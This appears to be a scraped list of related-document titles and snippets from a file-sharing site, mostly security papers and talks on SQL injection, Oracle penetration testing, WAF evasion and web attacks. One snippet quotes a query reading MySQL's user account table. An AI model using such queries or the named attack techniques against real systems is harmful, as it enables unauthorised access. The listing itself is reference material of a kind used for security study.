SQL Injection for newbie SQL injection is a security vulnerability that occurs in a database layer of an application. It is technique to inject SQL query/command as an input via web pages. Sometimes we
INTRUSION PROTECTION AGAINST SQL INJECTION ATTACKS USING REVERSE PROXY
INTRUSION PROTECTION AGAINST SQL INJECTION ATTACKS USING REVERSE PROXY Asst.Prof. S.N.Wandre Computer Engg. Dept. SIT,Lonavala University of Pune, [email protected] Gitanjali Dabhade Monika Ghodake Gayatri
Penetration Testing: Advanced Oracle Exploitation Page 1
Penetration Testing: Advanced Oracle Exploitation Page 1 Course Index:: Day 1 Oracle RDBMS and the Oracle Network Architecture... 3» Introduction and Oracle Review...3» Service Information Enumeration:...3»
SQL Injection in web applications
SQL Injection in web applications February 2013 Slavik Markovich VP, CTO, Database Security McAfee About Me Co-Founder & CTO of Sentrigo (now McAfee Database Security) Specialties: Databases, security,
AQA GCSE in Computer Science Computer Science Microsoft IT Academy Mapping
AQA GCSE in Computer Science Computer Science Microsoft IT Academy Mapping 3.1.1 Constants, variables and data types Understand what is mean by terms data and information Be able to describe the difference
An Anatomy of a web hack: SQL injection explained
An Anatomy of a web hack: SQL injection explained By David Strom Founding Editor-in-Chief Network Computing Magazine January 2009 Breach Security, Inc. Corporate Headquarters 2141 Palomar Airport Road,
3.GETTING STARTED WITH ORACLE8i
Oracle For Beginners Page : 1 3.GETTING STARTED WITH ORACLE8i Creating a table Datatypes Displaying table definition using DESCRIBE Inserting rows into a table Selecting rows from a table Editing SQL buffer
Serious Threat. Targets for Attack. Characterization of Attack. SQL Injection 4/9/2010 COMP620 1. On August 17, 2009, the United States Justice
Serious Threat SQL Injection COMP620 On August 17, 2009, the United States Justice Department tcharged an American citizen Albert Gonzalez and two unnamed Russians with the theft of 130 million credit
Retrieving Data Using the SQL SELECT Statement. Copyright 2006, Oracle. All rights reserved.
Retrieving Data Using the SQL SELECT Statement Objectives After completing this lesson, you should be able to do the following: List the capabilities of SQL SELECT statements Execute a basic SELECT statement
Thick Client Application Security
Thick Client Application Security Arindam Mandal ([email protected]) (http://www.paladion.net) January 2005 This paper discusses the critical vulnerabilities and corresponding risks in a two
SOAP Web Services Attacks
SOAP Web Services Attacks Part 1 Introduction and Simple Injection Are your web applications vulnerable? by Sacha Faust Table of Contents Introduction... 1 Background... 1 Limitations...1 Understanding
Louis <[email protected]> Luke <[email protected]>
Louis Luke SELECT user FROM mysql.user LIMIT 2 Security consultants working for Securus Global in Melbourne Have done/are doing a lot a web pentesting
AUTOMATE CRAWLER TOWARDS VULNERABILITY SCAN REPORT GENERATOR
AUTOMATE CRAWLER TOWARDS VULNERABILITY SCAN REPORT GENERATOR Pragya Singh Baghel United College of Engineering & Research, Gautama Buddha Technical University, Allahabad, Utter Pradesh, India ABSTRACT
PHP/MySQL SQL Injections: Understanding MySQL Union Poisoining. Jason A. Medeiros :: CEO :: Presented for DC619 All Content Grayscale Research 2008
PHP/MySQL SQL Injections: Understanding MySQL Union Poisoining Jason A. Medeiros :: CEO :: Presented for DC619 All Content Grayscale Research 2008 Typical MySQL Deployment Most MySQL deployments sit on
labs Attacking JAVA Serialized Communication By: Manish S. Saindane
ATTACK & DEFENSE labs Attacking JAVA Serialized Communication By: Manish S. Saindane Black Hat Europe 2010 2 Introduction Many applications written in JAVA make use of Object Serialization to transfer
Still Aren't Doing. Frank Kim
Ten Things Web Developers Still Aren't Doing Frank Kim Think Security Consulting Background Frank Kim Consultant, Think Security Consulting Security in the SDLC SANS Author & Instructor DEV541 Secure Coding
reference: HTTP: The Definitive Guide by David Gourley and Brian Totty (O Reilly, 2002)
1 cse879-03 2010-03-29 17:23 Kyung-Goo Doh Chapter 3. Web Application Technologies reference: HTTP: The Definitive Guide by David Gourley and Brian Totty (O Reilly, 2002) 1. The HTTP Protocol. HTTP = HyperText
Hushmail Express Password Encryption in Hushmail. Brian Smith Hush Communications
Hushmail Express Password Encryption in Hushmail Brian Smith Hush Communications Introduction...2 Goals...2 Summary...2 Detailed Description...4 Message Composition...4 Message Delivery...4 Message Retrieval...5
Playing with Web Application Firewalls
Playing with Web Application Firewalls DEFCON 16, August 8-10, 2008, Las Vegas, NV, USA Who is Wendel Guglielmetti Henrique? Penetration Test analyst at SecurityLabs - Intruders Tiger Team Security division
Numbering Systems. InThisAppendix...
G InThisAppendix... Introduction Binary Numbering System Hexadecimal Numbering System Octal Numbering System Binary Coded Decimal (BCD) Numbering System Real (Floating Point) Numbering System BCD/Binary/Decimal/Hex/Octal
Common Security Vulnerabilities in Online Payment Systems
Common Security Vulnerabilities in Online Payment Systems Author- Hitesh Malviya(Information Security analyst) Qualifications: C!EH, EC!SA, MCITP, CCNA, MCP Current Position: CEO at HCF Infosec Limited
Preprocessing Web Logs for Web Intrusion Detection
Preprocessing Web Logs for Web Intrusion Detection Priyanka V. Patil. M.E. Scholar Department of computer Engineering R.C.Patil Institute of Technology, Shirpur, India Dharmaraj Patil. Department of Computer
Intro to Databases. ACM Webmonkeys 2011
Intro to Databases ACM Webmonkeys 2011 Motivation Computer programs that deal with the real world often need to store a large amount of data. E.g.: Weather in US cities by month for the past 10 years List
A SQL Injection : Internal Investigation of Injection, Detection and Prevention of SQL Injection Attacks
A SQL Injection : Internal Investigation of Injection, Detection and Prevention of SQL Injection Attacks Abhay K. Kolhe Faculty, Dept. Of Computer Engineering MPSTME, NMIMS Mumbai, India Pratik Adhikari
Barracuda Intrusion Detection and Prevention System
Providing complete and comprehensive real-time network protection Today s networks are constantly under attack by an ever growing number of emerging exploits and attackers using advanced evasion techniques
Input Validation Vulnerabilities, Encoded Attack Vectors and Mitigations OWASP. The OWASP Foundation. Marco Morana & Scott Nusbaum
Input Validation Vulnerabilities, Encoded Attack Vectors and Mitigations Marco Morana & Scott Nusbaum Cincinnati Chapter September 08 Meeting Copyright 2008 The Foundation Permission is granted to copy,
Chapter 1 Web Application (In)security 1
Introduction xxiii Chapter 1 Web Application (In)security 1 The Evolution of Web Applications 2 Common Web Application Functions 4 Benefits of Web Applications 5 Web Application Security 6 "This Site Is
